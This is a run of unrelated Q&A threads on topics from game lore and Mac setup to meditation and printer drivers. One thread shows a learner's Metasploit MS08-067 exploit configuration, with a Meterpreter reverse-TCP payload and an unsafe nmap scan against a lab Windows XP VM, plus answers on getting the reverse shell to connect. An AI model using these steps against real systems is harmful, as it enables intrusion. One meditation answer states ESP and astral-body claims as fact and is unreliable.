Step 4: Eventually, the asari are found by the Protheans. The Protheans not only alter them in order to give them biotics, they tweak them so that asari reproduction can be stimulated by the EM fields generated by the brains of other intelligent life forms, and give them some unconscious control over protein catalyst synthesis. When the stimulation takes place, the asari unconsciously produces the protein catalysts that will replicate something of what they perceive in the other species.
Edit
I just realized a different model; in advanced Thessian species, they have a mitochondrial-like organelle with its own genetic material and coding that instead of being involved in energy production is involved in the transcription of the cellular DNA-analogue during duplication. Original reproduction involved the "male" providing the organelle which entered the egg and allowed mitosis to take place. It's differences within the organelle's genetics that cause differences in the way it transcribes the cellular genetics, causing variations to arise. Everything else in the proposed evolution proceeds as I described, with Step 3 being the epigenetic alteration of the organelle's genes.
Answer:
"Why might such a reproductive mechanism evolve?"

This belies a fundamental misunderstanding of evolution.  It replaces Evolution with Lamarckism, a key competitor with Evolution until Science managed to collect enough evidence that Lamarck's theory wasn't supported by observation of the world.
Evolution is the apparent adaptation of organisms, where adaptation is not driven by a purpose; but is a leftover of the organisms that adapted in non-successful ways dying out.

How might it work?

It depends.  Being a fictional character, one is not bound to real world observations based in known Science.  But, there are real world reproductive oddities, that we might draw inspiration from.

Yeast / Fungus

These animals merge their cell walls together, leading to multi-nucleated cells where each individual nucleus carries a copy of DNA.

Bacteria

Bacteria can "conjugate" transferring one's replicated DNA into another's cell.  This conjugation may lead to a hybrid organism that is genetically distinct from both original organisms.

Hermaphrodites

These types of organisms carry both sets of gametes, such that they are technically both male and female simultaneously.  Typically they are protected against self-procreation, and sex occurs normally, with one or both organisms becoming pregnant.

Assisted genetic recombination

Viruses carry genetic payloads that become incorporated into the cell's protein production pipeline.  For some of the viruses, those payloads include helper proteins that splice the DNA into the organisim's own DNA.

Plasmid DNA transfection

Plasmids can deliver their DNA to a cell, infecting it with foreign DNA.  The process is known as transfection.

Environmental uptake

Small cellular organisms sometimes pick up bits of DNA and incorporate them internally without breaking it down to basic Nucleic Acids.

How might it work (round two)

Since the mechanism is described as "rearranges their own DNA according to another's template" it is unclear if reproduction took place.  Normally, to reproduce, you clearly have a second organism at one point in time.  An organism that rearranges it's own DNA hasn't produced a second organism.
Assuming that this "rearrangement" is compartmentalized to a portion of the organism which is destined to become a new organism, you have a near standard formula for sexual reproduction.
You see, it's not the presence of DNA that is significant in Biological organisms.  It is the information encoded within the DNA.  Due to some ancient event, we carry around additional copies of what we need to survive.  Sexual reproduction is where our offspring lose (at least) one of the copies and gains a (likely) new copy.  These copies are inexact, which gives sexual organisms a faster route to reordering their information than non-sexual organisms.
Depending on what is being rearranged, it is unclear to me if this organism would even need special consideration to fit in as a rank-and-file biological hermaphrodite.

How might it work? (round three)

Our current understanding of DNA is tightly tied to it's replication and production of mRNA which is further transcribed into proteins.  This occurs with linear DNA, where parts of it actively create proteins.
Assuming we take "rearrangement" to not mean rearrangement of alleles (the possible alternate variations found at a gene site) but rearrangements of the DNA itself, then the organism might

have very tiny genes, such that rearrangement never splits a gene required for survival.  Even then it's a statistics game, large number of combinations would result in dead offspring.
have a mechanism where genes are rearranged but in ways that are guaranteed to not be split.  This has some interesting promise, but the discovery of "homeobox genes" or genes that activate and deactivate  regions of other genes would not work properly, likely leading to a dead organism.

homeobox genes are partially responsible for making sure your muscles are comprised by tissue that's muscle instead of bone, blood, nerves, hair, skin, or some other tissue.  Genes jumping into and out of homeobox regions would have as big an impact on the organism's growth as genes being split into two non-properly working regions.

have a mechanism that assured that regions controlled homeobox genes were not rearranged.  This idea sounds great, but is very unlikely.  It basically presupposes that the organism being born knows how to avoid being born with birth defects.  No organism can decide a proper course before it exists.
have a modular inter-celluar structure, such that the location of the gene doesn't impact it's utility.  Sounds great, but just ignores the gene getting split into two nonfunctional pieces by "begging the question" or "assuming a scenario where the failure can't occur because you've defined the scenario to exclude the failure conditions"

How might it work? (final round)

Currently history, which includes luck and chance, has shown that typically sexed organisms dominate the larger species.  That is because they are more effective in having offspring that has a wider range of DNA recombination.  This wider range permits more members of the species to survive.
We have natural hermaphrodites in nature today.  For one reason or another, the chance for them to dominate the environment has not been realized.  Sex based organisms are more successful in the Animal and Plant based kingdoms.  It might be due to luck; but, it may also be that any specific organism that doesn't have to carry around two sets of reproductive organs has an advantage in living to adulthood.
Answer: The Asari genome is an aftermarket add-on.

Here is the Atmosphere Demolisher spoiler, featured by a number of different model cars.  Imagine if the possession of a bigass spoiler like this made the car an Asari car, regardless of the make or model.  I propose that is how the Asari genome works.
It is not an outrageous proposition.  The Y chromosome is basically an aftermarket add-on that turns the base human model (female) into a male.
It makes for interesting reading, the Y.  https://en.wikipedia.org/wiki/Y_chromosome
The Y chromosome is tiny and degenerate, representing 2% of total DNA in a human but it is the sole difference between male and female human.
So too your Asari.  The tiny Asari genome is an aftermarket add-on.  Their reproductive strategy aims at sentient species, and modifies the body plan of that species with a 2% add-on chromosome that makes that individual an Asari.
I gather that in the game, Asari always look like sexy space chicks the males are digging.  But the proposed reproductive strategy here would be a lot easier if the other-species mate were a female rather than a male.  The biological apparatus for producing children might vary a lot from species to species and a "female" Asari from stock species A might not have the hardware to produce young with mate species B.  The whole male thing is to donate some genetic material to something capable of having your children; this strategy would work well with the Asari too.
They could still look like sexy space chicks if you are into that kind of thing.  They still might shake it for the males.  Reproduction, however, is a different matter...

Anatomically Correct Asari


When I buy a Mac, does it come with reinstallation media?

Question: Can I format my Mac? If I had one, would a full OS installation media be provided? Or at least an OEM version of it? If not, how much it costs to get one of these?
Comment: My Air came with a recovery flash card, not a recovery partition.
Answer: There's no such thing as an "OEM" version of OS X, since there are of course no OEMs for Macs other than Apple themselves.
All new Macs have recovery partitions on their hard drives that can be booted and used to reinstall OS X, so you can format your main partition and reinstall OS X. Failing that, they will also do a network boot over the Internet and reinstall OS X from Apple's servers. OS X also includes a program called Lion Recovery Disk Assistant that lets you create your own bootable recovery media on external drives, so you can make as many recovery disks as you want.
Failing all of these options, you can purchase Lion on a USB drive for US$69 (if you're in the US).
Comment: My Air came with a recovery flash card, not a recovery partition.
Answer: When you buy a new Mac, it comes with OSX Lion pre-installed and includes a recovery partition on the internal drive.
If you prefer a physical medium to do an installation from, you can buy the OS X Lion USB Thumb Drive from the Apple Store.
Comment: Have you considered being a moderator here? I think you'd be a good candidate. http://apple.stackexchange.com/election


"go on a ride" vs. "go for a ride."

Question: What is the difference between these two examples?

I go on a ride.
  I go for a ride.
Answer: Go on a ride suggests having a thrilling experience at a theme park. Go for a ride suggests an excursion on a bicycle, a motor cycle or a horse.
You would normally use the present tense, I go, if you followed it with a time expression such as 'I go for a ride every Thursday.' If you're describing what you are about to do now, you use the present progressive construction: 'I am going for a ride'.
Answer: Intuitively, 'go on a ride' seems to imply passive partaking in said ride, while 'go for a ride' implies an active decision and a certain level of control.
You would go on a rollercoaster ride, but go for a ride on your bicycle. Note that a ride-along is also something you go on, as you're not behind the wheel.
Comment: Yes: this is a more idiomatic usage of 'on' than Barrie's locational one. Prepositions are such fun.
Answer: For a ride: Partake in a leisurely journey in a car with the person who asked you to "go for a ride." For example, my father would say "let's go for a ride," on Sundays and we all knew we would sit in the passenger seats of a car as he drove us around our city to relax with the car windows rolled down, people watch, and enjoy the view of buildings we passed.
On a ride: The term "ride" in this phrase means some locamotive that was created to provide enjoyment. The ride can be a variety of things from a hay-rack ride at a pumpkin patch, rollercoaster or any other fun driven "ride" at an amusement park for example. The word "on" in this particular phrase is most important and tells you the goal is amusement.

"go on a ride" vs. "go for a ride."


That "Electric Feel" body sensation during meditation

Question: Meditation skill level: greater than beginner, less than adept.
Before I can get to the Electric Feel, we need to come to a mutual understanding on how I get there.
I have a specific technique to my meditation that I have sown together from random scraps of multiple religions(taoism, buddhism, christianity(yes they meditate), Islam and new age stuff). Imagine my technique to be a pyramid that has many levels(plateaus). I must achieve reaching the first level before going to the next. If I am on the third level and stop doing something that was required to reach the first level, then I have to gone down to the first level again and must work my way up from there.
The first level is Breath... of course. 4 seconds in, and 4 seconds out. The attention is on breath. Continues until this process requires no counting of time and is automatic.
Second level is muscle relexation over then entire body. The attention is on the entire body in a state of rest. During the first and second levels one must shrug off all thoughts that are worldly worries or thoughts that are hindering your progress.
Third level is Electric Feel. I can feel what I would call an energy running circuits through my body. This sensation can be directed through intention: If I want to feel energy coming in through my head and go down my spine, it can happen.
Levels after 3 are theoretical. But I feel like I can feel my 'Asteral Body'.(when answering you may disregard anything about the Asteral Body if it has no correlation with Buddhism)
So is this sensation a normal one for meditation? How can I move past this sensation to deepen meditation? Are my 'levels' accurate to what Buddhism teaches? What level comes after the electric feel? Does Buddhism support the notion of an Asteral Body?
Comment: This electric feel is also impermanent in nature. Arising and passing away at a tremendously high rate. Knowing this at an experiential nature will help you. Trying to maintain this sensation or supercede this will only cause more misery in the long run. It's hard to let go of pleasant sensations than overcome unpleasant ones but it is possible if you keep trying with patience and persistence.
Comment: Could be the "Arising & Passing Away" stage of insight? See here for more details on diagnosing and what to do next: http://www.dharmaoverground.org/web/guest/discussion/-/message_boards/message/1509672
Comment: I have been doing meditation fot some 25 years now, but lately i have been astro projecting seeing pyramids covered in Gold and then at times I can feel my entire body is riddled with electrical current that makes my hair stand.
Answer: This feeling is Piti. It is also in sphere of the sensual world hence has the 3 marks of existence. It arises and passes away. You should try to look at it more and more closely until you see it. At some point this will also disappear and turn into either pain or a neutral feeling. When you get the neutral feeling you should be very careful as not to loose the balance of your mind as equanimity is easy in pain and pleasure but hard in this instance. If you examine closely this is also impermanent as you will see things arising and passing. If you see arising and passing of phenomena in each and every part of your body then you are experiencing bhanga-nana. You should see it in remote places in your body also like your earlobes.
This can result either due to Jhana or that through Vipassana where you have either suspended or eradicated (in case of Vipassana) some of you bad Karma which might give you birth in a lower realm for that stretch of time. (In Jhana there is a temporary suspension of the such rebirth linking karma. If you dies with your Jhana you are born in a higher existence.) This does not mean that you can keep them suspended always in Jhana or other periods where some old residual Karma giving you bad rebirth linking result will not surface in the future in the case of Vipassana. Through Vipassana you can eradicate all rebirth linking Karma starting from the lower realms and progressing to higher realm. When you have eliminated all rebirth linking Karma and mind comes to a state it does not acquire any new rebirth linking Karma then you will enter Nirvana. Even when you enter Nirvana you can still have non rebirth linking Karma. Also the present feeling are associated with Karma which you have done with attachment. (Interpretation as per my understanding according of Ledi Sayadaw linage.)
All being said don't get attached to it in any way nor wish for it to pass away.
Comment: Right Samadhi = Jhana
Comment: is jhana and samadhi(completely focused on breathe) are same things?
Answer: While this may sound similar to the second jhana, I don't think it is. In second jhana the rapture (piti) is enveloping all body, it may be somewhat more bright around chest, or head, or armpits, but not to the point of being specifically localized. You can move the ball of excitement up and down the spine at will, right? I did this. It is a kind of winds-and-channels yoga they do in Tibetan schools.
Since you have gotten this far, here is a task for you: can you achieve a permanent state that won't require an effort to maintain, and will stay with you forever post-meditation? Solving this is what made Buddha, Buddha. Anything else is child's play ;)
Answer: Never knew this had a name.
I can do it at will and during my childhood it happened to me a lot when being close to certain persons, in this case it was localised on the front of my head.
It feels like goosebumps but without any hairs rising.
I have however a more mundane explanation for that: I think that this is a  semi-voluntary (or voluntary) contraction of small muscles or at least it is a nervous signal that we transmit to the muscles.
I am pretty sure that it is that because the feeling is very similar to the one you get when you lift weight and use "intensity, this is a (sort of) technique that makes you use much more muscles and power for a given weight (it doesn't get lighter, the aim is to get a better result), this is very usual among body-builders.
I have always been curious about that and when I was doing zazen I often did it, but in the end the effect is just that you concentrate on this particular purpose, nice to feel but defeating the purpose of meditation.
Answer: For a few months now I've been experiencing this lovely enveloping feeling within seconds of closing my eyes, deepening as my focus deepens. I was intrigued when Andrei Volkov wrote 'can you achieve a permanent state that won't require an effort to maintain?' This was exactly what I was wondering, will this become more permanent if I let it be? During day-to-day activities I regularly feel as if this lovely feeling is there somewhere nearby and when I least expect it, it fleetingly appears. I only intended to meditate in order to become more tranquil and just counted these tickly feelings as a bonus.
Answer: Just from my own experience I experience a lot of electric type sensations when meditating. Sometimes they can be fairly mild but at other times they can be so intense as to physically jolt me.
Just reflecting on this I think there are two things going on at different times. When I haven't meditated as much as I usually do or I am going through a particularly intense time outside of mediation then I will get the jolting type of sensations. When meditating I can spot a kind of stuckness that if I meditate on it can come out surges of energy that can be intense. This will then be a feature of meditation for a while then it will subside and meditation will be calmer.
At other times when mediation is progressing and I have more time for it I can get electric sensations at the end of a meditation session when I am particularly calm or focused. This could be piti (not sure). It is less intense but can also be associated with a few more meditation bells and whistles such as feeling out of body or maybe feeling that sensations are a lot more fluid (like a waterfall).
As other people have said I do my best not to get attached to these. Also I try not to anticipate them or certainly not to actively chase them - however it's sometimes useful for me to be open to the possibly of them. To be honest I'm not particularly putting this forward as any kind of definitive (or even helpful) answer. It's just an experience that I'm actually finding quite useful to write down. If anyone has any comments I'd actually be very grateful.
Answer:

So is this sensation a normal one for meditation?

I have many weird sensations while meditating but not this one. However, lots of my classmates do so I'd say yes.

How can I move past this sensation to deepen meditation?

Move past it by ignoring it. If you're paying attention to the sensation or thinking about it, you aren't meditating.

Are my 'levels' accurate to what Buddhism teaches? What level comes after the electric feel?

As far as I know, there are no ubiquitous or strictly defined "levels" to meditation. If it helps your meditation, then it's a useful classification. If it doesn't, then ditch it.

Does Buddhism support the notion of an Asteral Body?

From my experience, there is strong support of a subtle body, astral body, spirit, soul, or whatever you want to call it.
Answer: Buddhism supports astral projection as answered in more details in Buddhist view on out of body experience (OBE) as well as energy centers called chakras.
Remember, when meditating, try to not visualise, imagine anything or analyse with your physical thoughts (stay relative), just plain awareness, so you can benefit from it further more (trust your senses).
When you higher your vibrations during meditation (by breathing and intend), you start to feel your light (astral, etheric) body (electric sensation). The deep relaxing (friction) breathing helps to move your energy between chakras making the intensive connection and your whole body start to vibrate (you can learn how to consciously move this energy) and how to let it flow. Whilst circulating, the life force (Lung/Vijñāna/Qi) follows certain lines of energy (meridians in Chinese, nāḍī in Sanskrit) and as your light body gains in strength through these practices, it gains a great resistance to negative energy (it's expelled consciously). When you feel the vibration - you feel the etheric (mixture of etheric frequencies of light or astral vibration). When you learn how to control this sensation, from there, you can train and develop many interesting abilities (ESP, OBE, RV and many more).
So to answer your question, yes, this sensation is perfectly normal during meditation.


PHP not working after upgrading to OS Mojave

Question: When i try to open localhost it gives me 403 error message like this "You don't have permission to access / on this server."
I have tried changing the permission but nothing happens. It worked fine with High Sierra but after update its not working.I am using the pre installed apache and not using third party apps like xampp
Answer: I had the same problem - it's based on mod_userdir exclusion after updating to Mac OS X Mojave. There are a few steps to repair that:

Load the module mod_userdir in /etc/apache2/httpd.conf
At the end of the httpd.conf make sure to load httpd-userdir.conf
In httpd-userdir.conf include a local file in /etc/apache2/users/<username>.conf
Put a directory section into that file, containing the rules for the directory where your webserver files are located:
<Directory "/Users/<myusername>/Sites/">
    AllowOverride All
    Options Indexes FollowSymLinks
    Require all granted
</Directory>

This should set you up.
Comment: This worked .. however when I access localhost .. it gives me index of all the files does not load the website.
Comment: Do you have an index.html in the directory?
Comment: On macos the config file is at /usr/local/etc/httpd/httpd.conf
Comment: On /etc/apache2/httpd.conf search for "#LoadModule php7_module libexec/apache2/libphp7.so". Remove "#", then restart Apache. Hope that helps...
Answer: The Mojave update (or re-install) overwrites the apache directory but left my old configs with the ~previous suffix left.
I did edit a lot of previous files in my apache path /private/etc/apache2. These files were renamed to like httpd.conf~previous and a new httpd.conf has taken place.
I just renamed files, restart my apache and everything is working like before now. It wasn't every previous file, as i knew i did not edited all of them.
In my case also the /private/etc/apache2/extra/httpd-vhosts.conf~previous had to get back in place
Answer: I had the same problem after I updated to Big Sur.
In my case the configuration files from the apache2 folder were supposedly 'incompatible with the recent macOS upgrade'.
Because of that Apple moved my httpd.conf and httpd-vhosts.conf to
/Users/Shared/Relocated Items

I just had to copy them over to the old location and everything worked again.
Answer: Apache
The new macOS Mojave comes with Apache pre-installed. All we have to do is switch it on.
Open Terminal using macOS Spotlight or go to /Applications/Utilities and open Terminal.
To check the version of Apache installed run the following command in the Terminal.
Check that :
https://www.dyclassroom.com/howto-mac/how-to-install-apache-mysql-php-on-macos-mojave-10-14
Comment: This definitely helped me. Please add the actual command to run in Terminal to your answer.


How to continue you game with another account?

Question: Until now my son have used my phone (iphone) and my google account to play Pokomon go. But now he got his own phone (an andoid) and his own google account. But when he open Pokemon go he is automatically looged in with his own gmail/google account and thus starts from scratch. It it possible to transfer my prograssion to his new account? Or to chainge the email used to the account?
Comment: You can't transfer progress between accounts.
Comment: [Question](http://gaming.stackexchange.com/q/275329/136461) kinda related.
Answer: You cannot transfer progress from one account to another, but you can allow him to use yours. To do this, add your Google account to his phone (should be an option in the phone's system settings). Once there are multiple Google accounts on the phone, then Pokemon Go should prompt for which one you want to use. If it doesn't, go into the permission settings for the app (again, this should be an option in the system settings somewhere) and remove the contacts permission.
Unfortunately I can't give specific instructions for how to change the settings, as it depends on the specific phone and OS version.
Obviously if you do this, your Google account will be on his phone, and he may be able to use it for other things. It's up to you whether or not you're okay with that, but it's your only option for letting him keep his progress.


MS08_067 with Metasploit

Question: I'm learning how to use Metasploit. I'm using VirtualBox to run a VM with Kali Linux (192.168.56.101) and another with Windows XP SP1 (192.168.56.103). The two VMs can ping each other and Windows Firewall is disabled. I'm running Metasploit on Kali Linux and trying to attack Windows XP SP1.
I fire up msfconsole and start with a port scan:
nmap -sT -A --script=smb-check-vulns -Pn --script-args=unsafe=1 192.168.56.103

which tells me
Host script results:
| smb-check-vulns:
|   MS08-067: VULNERABLE

I set the parameters this way:
Module options (exploit/windows/smb/ms08_067_netapi):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   RHOST    192.168.56.103   yes       The target address
   RPORT    445              yes       Set the SMB service port
   SMBPIPE  BROWSER          yes       The pipe name to use (BROWSER, SRVSVC)

Payload options (windows/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  thread           yes       Exit technique (accepted: seh, thread, process, none)
   LHOST     192.168.56.101   yes       The listen address
   LPORT     8080             yes       The listen port

Exploit target:

   Id  Name
   --  ----
   2   Windows XP SP0/SP1 Universal

Then:
msf exploit(ms08_067_netapi) > exploit

[*] Started reverse handler on 192.168.56.101:8080
[*] Attempting to trigger the vulnerability...
msf exploit(ms08_067_netapi) > sessions -l

Active sessions
===============

No active sessions.

What am I doing wrong?

edit: I did the same with a Windows XP SP3 VM and it worked! I really don't understand why it won't work with Windows XP SP1...
Comment: general advice: run tcpdump when you run the exploit and see what is actually happening. Read the actual exploit code and understand what it is doing, and try to manually replicate step by step. These debugging steps should point you in the right direction.
Comment: Take a look at the Windows VM.  Is it frozen?  Can you open programs inside it?  Try to reboot it, then run `exploit` again and see if that works.  I just actually did this assignment in college last semester and that was the issue.  The exploit somehow made the Windows VM freeze and I had to reboot it to make it work.
Comment: @rocket The VM is not frozen, but I rebooted it anyway. No luck.
Comment: @Kiuhnm: It was worth a shot.  That's what made it work for me in my computer lab.
Comment: @KDEx According to Wireshark, everything works OK. I could learn more about the exploit and use a debugger to see what's wrong, but I was just trying to learn Metasploit, so I'll pass for now.
Comment: did you turn off the firewall?
Comment: If you are just trying to learn metasploit then this question is off topic here. Just choose another exploit to practice with, or follow KDEx's advice.
Comment: @ekaj Yes, I did.
Comment: @Rory I must say this community isn't very useful to me if every single question I need to ask about hacking is considered off topic. I'll go elsewhere...
Comment: Unfortunately this question is not about hacking. Learning how to use metasploit almost has nothing to do with hacking. Understanding the exploits does, but you have said that is not what this question is about. The faq outlines our site very clearly - and if that isn't what you need, then fair enough. You probably want the Metasplout forums in this instance anyway.
Answer: Just a couple of things:
Its possible that nmap has crashed the original service. The unsafe=1 parameter to the NSE script is giving it permission to crash if necessary. Make sure the box is rebooted between nmap and exploiting for the best chance of success. You may also want to:
* exploit the SRVSVC rather than the BROWSER.
* set the LPORT to 80 (or 443) as these ports are less likely to be filtered.
Comment: I tried all of the above, but nothing works.
Comment: This is generic advice and not related to hacking a specific system.

When you launch a meterpreter reverse shell you get a clear indication that the exploit worked because it the exploit is staged - you would see something like the following:

[*] Started reverse handler on
[*] Starting the payload handler...
[*] Sending stage (769024 bytes) to

If you don't see "Sending stage" then either a) the exploit failed or b) the exploit ran but the stager failed to connect back to you. The latter maybe because of packet filtering - which is why you try  other LPORT values.
Answer: It seems your exploit does not succeed. You may try different payload or change LPORT. Sometimes ports may be blocked by firewall and you won't get reverse shell. And once your exploit is successful, you will get reverse shell immediately, no need to type "sessions -l" command.

MS08_067 with Metasploit


When the stall is actually going to happen?

Question: Suppose in a 5 stage pipeline when the stall will actually happen if there is a RAW hazard? The stall will start after Instruction Fetch(IF) stage or Instruction decode(ID) stage? In few cases I see that the stall start after IF that is before executing ID and in multicycle pipeline, the stall starts after decode stage (ID). Can someone please clarify it?
Answer: As part of the instruction decode phase, the operands are fetched for the instruction. In a very naive pipeline implementation, the operands for read  will only be visible after the write instruction has written back its changes to the internal registers (so the last stage).
To prevent such long stalls, a CPU can apply tricks like forwarding the store to the load as soon as the value is determined instead of needing to wait for the write to the registers.
Check out the following for a more detailed answer:
https://youtu.be/EL8uqzSsg_Q?t=433
Answer: All cpu pipelines are multi-cycle. In the MIPS five-stage pipeline
registers are read in the second stage called ID (instruction
decode/register fetch). And instructions usually stall as late as
possible. For example in
daddi   r1, r2, r3
daddi   r4, r5, r1

the second instruction will stall for three cycles at ID because it
can't proceed until the first instruction has written to r1 which
happens in the pipeline's fifth stage.


Requirements prior to Quantum Mechanics

Question: What are the requirements in physics and mathematics that somebody must have in order to start learning Quantum Mechanics by himself?
Comment: everyone will give you different books for this but I started with boas **mathematical methods...** for the maths and McMahon **quantum mechanics** for the physical side. If you get through those imo you will be well on the way... Good luck with it
Comment: No no,i meant what do i have to know BEFORE i study  QM?i already know that knowing statistics,probability theory and classical mechanics and electromagnetism  are requirements.So,what else?
Comment: Hi from my experience ,you need to be familiar with  Dirac notation, principle of superposition,   getting familiar with transforming classical equations into the quantum versions, expectation values, correlations , normalisation . But the hardest part for me more than learning these above areas was/is practice in thinking in quantum terms rather than classical ones. Especially since  the more you know about classical mechanics,  in some ways it's more difficult to think in quantum terms.
Comment: Just to conclude, I am self studying too, but although it's just practice with the new areas, and that's just a matter of time to understand, it's **thinking** in quantum terms that for me is much more difficult. No offence, but if you have not done q.m. before this, you will find out what I mean..when you read about how q. m. started, the people who developed it really had a hard time changing the way they thought.  Regards
Comment: ok,i will keep this in mind
Comment: Hi just one last point, because you are in the position I was 5 years ago.  Follow this link to amazon, and look at the table of contents. http://amzn.to/1CaVUcv   that will give you a very good idea of what you need to study.  That's it,  very best of luck with it
Answer: A firm understanding of classical physics is essential. This means understanding the qualitative and quantitative aspects of:
1) Newton's three laws of motion (Kinematic and Dynamic perspective)
2) Rotational motion dynamics
3) Electromagnetism
4) Newtonian mechanics (Newtonian gravity)
5) Principle of superposition and waves
6) Classical thermal physics
7) Particle physics
8) Harmonic oscillations
9) Scenarios where classical physics breaks down (differences between macroscopic and microscopic levels)
In mathematics, you'll most certainly benefit from knowing:
1) Calculus (preferably including differential geometry)
2) Calculations in 3D Euclidean space
3) A working knowledge of trigonometric functions
4) Vector calculus
5) Probability distributions and uncertainties
6) Linear algebra
Admittedly, this is a rather trivial summary of what you might need to start tackling quantum physics. In general, if you've completed high school physics and mathematics courses, you should first go through this link:
http://en.wikipedia.org/wiki/Introduction_to_quantum_mechanics
I personally took the A level educational qualification (which I believe helps in establishing a good foundation to begin with quantum physics), and pardon me if I direct you to the CIE links for Mathematics (I recommend going through all 3: Pure, Mechanical and Statistical) and Physics:
(Physics books) http://www.cie.org.uk/programmes-and-qualifications/whats-new/revised-qualifications/cambridge-international-as-and-a-level-redevelopment-programme/support/as-a-level-physics/
(Mathematics syllabus) http://www.cie.org.uk/images/128623-2015-syllabus.pdf
(Physics syllabus) http://www.cie.org.uk/images/164526-2016-2018-syllabus.pdf
A brief knowledge about relativity is also sometimes beneficial.

Requirements prior to Quantum Mechanics


Sentinel Prime alt-mode (Transformers: The Dark of the Moon, 2012 film)

Question: How does Sentinel Prime have an earth based ALT-mode even when he had crashed on the moon ? The Autobots find him in the exact same state. So my question is how could he have an earth based ALT-mode even before he had ever visited earth?
Answer: Since you mention the moon, I assume you're referring to Sentinel Prime in the film "Transformers 3: Dark Side of the Moon" (there have been numerous characters named Sentinel Prime throughout the various continuities).
Spoilers, just in case

 In the Michael Bay universe, a Transformer only requires a few seconds to scan & imitate a vehicle. When Sentinel is first found and then later awakened, we see only his robot form. Later, when we first see his vehicle form (a red fire truck), he has been on Earth for at least two days - possibly longer - while working with The Autobots and NEST. Since the fire truck form he uses is of a military variety, we can safely assume that Sentinel scanned one of the NEST emergency response vehicles to use as a disguise, an event which occurred off-screen during the timeframe in which Sam & Seymour attempt to crack the mystery surrounding the moon landing.
Comment: True, although aside from Megatron we never really get to see what a Transformer looks like before imitating an Earth vehicle or form. The landings in the first movie kept their Cybertronian forms hidden in shadow, though Optimus Prime's Cybertronian silhouette still vaguely resembled his shape post-Earth form.
Comment: That sounds very much like it, but I'm confused because sentinel had parts of the fire-truck even in the scene where they resurrected him. You can clearly see the tires of the truck in the exact same spot as they are later. Even the glass windows. It doesn't really look like a different alt-mode's artifacts.
Comment: Yes we do. In film 3 when the autobots visit The Ark to rescue sentinel we see lots of autobots in their native form. None of them seem to have even the most remote resemblance to any earth machine. Also Soundwave in his satellite mode in film two. Even he doesn't resemble any earth machine.
Comment: You're right - I stand corrected. It looks like this was an oversight on the part of the film-makers.


Printer drivers for epson wf-3640

Question: Epson offers what appears to be the print drivers, including wireless connect,for the wf-3640 printer. (got it on sale from tigerrdirect.com retail shutdown) Although all but iscan install saying it need epkowa commponent.  I must admit I am lost.  I am convinced this printer can be setup to work with Ubuntu but I am at the point I need some help/guidance on what to do???? Even after installing all but iscan there is not printer that appears to be installed.
Comment: I've had great luck with HP printers and scanners because HP really supports Linux with `hplip`.  Both for my own sanity and to encourage companys to support Linux, I buy HP. When I've gone cheap, I end up pulling my hair out ans settling for a clunky-kinda solution at best.
Answer: This is very late, but for anyone else searching for the driver, it is in the package printer-driver-escpr which can be installed via apt-get or any of the graphical package managers (but not the software center).
Comment: That did the trick on Xubuntu 16.10.
Answer: <code>sudo apt-get install printer-driver-escpr
</code>
worked like a charm for me on Ubuntu Xenial 16.04.
Answer: As far as I know, epkowa is the proprietary scanner driver by Epson. If it says you need the epkowa component (i.e. sane-epkowa back-end), that likely means you need to follow the below guides:
How to install printer component/driver: http://tutorialforlinux.com/2014/08/23/how-to-install-epson-wf-3640-all-in-one-printer-drivers-quick-start-scanning-on-ubuntu-14-04-trusty-linux-easy-guide/
How to install scanner component/driver: http://tutorialforlinux.com/2014/08/23/quick-start-with-epson-scanner-for-ubuntu-14-04-trusty-lts-with-iscan-easy-guide/
Hope I was helpful :-)
Comment: This was of no  use at all.  It suggests a path to the drivers but all it says is search for the drivers.  This is an attempt to spread advertizing to users.  There is no substance to this persons offer of assistance.  Was it helpful> NO
Comment: Your welcome for the advice
Answer: A very late addition - hopefully somebody will benefit from this.
Above procedure (sudo apt-get install printer-driver-escpr, then add a printer in GUI) will result in a working printer, however it will not report ink levels, as it seems to create an IPP printer.
If you create a 2nd driver based on URI, enter "dnssd://EPSON%20WF-3640%20Series._ipp._tcp.local/" this will have the same functionality PLUS be able to report ink levels.
Markus
Answer: Came up with a driver for a Epson 3540 instead of a 3640 which is what I wanted, but it worked fine for what I needed to print.
Thank you.
Comment: can you edit your answer to include where you got the correct driver? this answer looks helpful, but needs a little more info. thanks and welcome to AskUbuntu!

Printer drivers for epson wf-3640


When exactly do I get to return my Commander to the Command Zone after it goes to the Graveyard?

Question: If my Commander on the field dies, and I send it to the Graveyard, its death becomes a state-based action. My question is, since a Commander has the chance to be returned to the Command Zone from the Graveyard or exile since the last time state-based actions were checked (its death), can I do something that does not involve a stated based action, such as tapping two of my lands to gain mana to activate a creature's ability, and then return my Commander to the Command Zone (after the creature's ability resolves)?
Answer: You have a single opportunity to move the commander to the command zone, immediately after it moves to the graveyard. You can't take any actions before making the choice.
The specific rule for moving the commander from the graveyard to the command zone is rule 903.9a:

If a commander is in a graveyard or in exile and that object was put into that zone since the last time state-based actions were checked, its owner may put it into the command zone. This is a state-based action. See rule 704.

Since this is a state-based action, you have exactly one opportunity to make this choice, the next time state-based actions are checked after it moves to the graveyard.
It's important to note that rule 704.3 says, in part,

Whenever a player would get priority (see rule 117, "Timing and Priority"), the game checks for any of the listed conditions for state-based actions, then performs all applicable state-based actions simultaneously as a single event. If any state-based actions are performed as a result of a check, the check is repeated; otherwise all triggered abilities that are waiting to be put on the stack are put on the stack, then the check is repeated...

So, if the commander dies as a result of state-based actions, state-based actions are immediately checked again, and you immediately get the choice of whether to move the commander to the command zone. If the commander instead dies during the resolution of a spell or ability, you make the choice as state-based actions are checked immediately after the spell finishes resolving.
Answer: You have it right about when the commander goes back to the command zone; when state based actions are checked, if the commander was put in the graveyard (or exile) since the last time state-based actions are checked, it may be moved to the command zone.
However, mana abilities are activated abilities. So you have to have priority to activate them. It's true that they don't go on the stack, and resolve immediately. But if you're going to move your commander to the command zone, it will go to the command zone before you get priority to activate a mana ability. (The same goes for activating the creature's ability.)


Is it possible create more threads that specified in ThreadGroup in Jmeter?

Question: Is it possible create more threads that specified in ThreadGroup in Jmeter? I need to make a test with 10 threads and 10 iterations with a random pause of 2 to 5 seconds between requests. As I know timers are for requests, Ramp up is for threads, but I can't make it work correctly with ${__Random(2,5)}. How can I solve this case?
Thanks in advance!
Answer: Im not sure about if this will help, since your looking for adding more thread but based in your question, that you can't make it work with ${__Random(2,5)}. I will suggest try adding Uniform Random Timer instead.
This will have two 2 parameter.

Random Delay Maximum: Where it will decide the max random pause time
Constant Delay Offset: This is fixed delay time which will be added in random delay.
Answer:
